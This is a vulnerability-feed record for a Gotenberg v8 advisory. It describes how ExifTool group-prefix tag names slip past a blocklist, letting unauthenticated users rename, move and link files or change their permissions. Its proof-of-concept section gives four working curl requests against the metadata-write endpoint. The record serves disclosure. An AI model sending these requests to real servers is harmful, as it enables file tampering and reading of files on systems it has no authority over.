{"id":"CVE-2026-42590","aliases":["GHSA-7v3r-m9c8-r855","GO-2026-5234"],"title":"Gotenberg's ExifTool group-prefix syntax bypasses dangerous-tag blocklist","summary":"Gotenberg's ExifTool group-prefix syntax bypasses dangerous-tag blocklist","severity":"high","cvss":8.2,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","vendor":"gotenberg","product":"github.com/gotenberg/gotenberg/v8","ecosystem":"go","affected":["github.com/gotenberg/gotenberg/v8 <= 8.29.1"],"published":"2026-05-07","updated":"2026-07-21","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-7v3r-m9c8-r855","references":[{"url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-7v3r-m9c8-r855"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42590"},{"url":"https://github.com/advisories/GHSA-qmwh-9m9c-h36m"},{"url":"https://github.com/gotenberg/gotenberg"}],"tags":["osv","go"],"epss":0.0029,"epssPercentile":0.21833,"ingestedAt":"2026-07-21T19:04:58.324Z","slug":"CVE-2026-42590","body":"## Overview\n\n**Summary**\n\nThe ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.\n\n**Details**\n\nThe blocklist in `pkg/modules/exiftool/exiftool.go` filters four dangerous pseudo-tags (`FileName`, `Directory`, `HardLink`, `SymLink`) using `strings.EqualFold(key, tag)`. However, ExifTool supports group-prefix syntax where `File:FileName` is processed identically to `FileName` -- the prefix is stripped by `SetNewValue` in `Writer.pl` before tag matching.\n\nThe `safeKeyPattern` regex (`^[a-zA-Z0-9\\-_.:]+$`) allows colons, so prefixed tag names pass validation. Any prefix works: `File:FileName`, `System:Directory`, `a:HardLink`, etc.\n\nAdditionally, `FilePermissions`, `FileUserID`, and `FileGroupID` pseudo-tags are not blocked at all and can modify file attributes without any prefix.\n\n**PoC**\n\n```bash\n# Rename the converted PDF (bypasses FileName blocklist)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"File:FileName\":\"pwned.pdf\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n\n# Move the file to /tmp (bypasses Directory blocklist)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"File:Directory\":\"/tmp\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n\n# Create a symlink (bypasses SymLink blocklist)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"File:SymLink\":\"/tmp/symlink-poc\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n\n# Change file permissions (not blocked at all)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"FilePermissions\":\"rwxrwxrwx\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n```\n\n**Impact**\n\nPre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.\n\nThis is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.\n\n## Affected packages\n\n- `github.com/gotenberg/gotenberg/v8 <= 8.29.1`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"twilight","depthScore":45,"depthScoreParts":{"impact":45.1,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}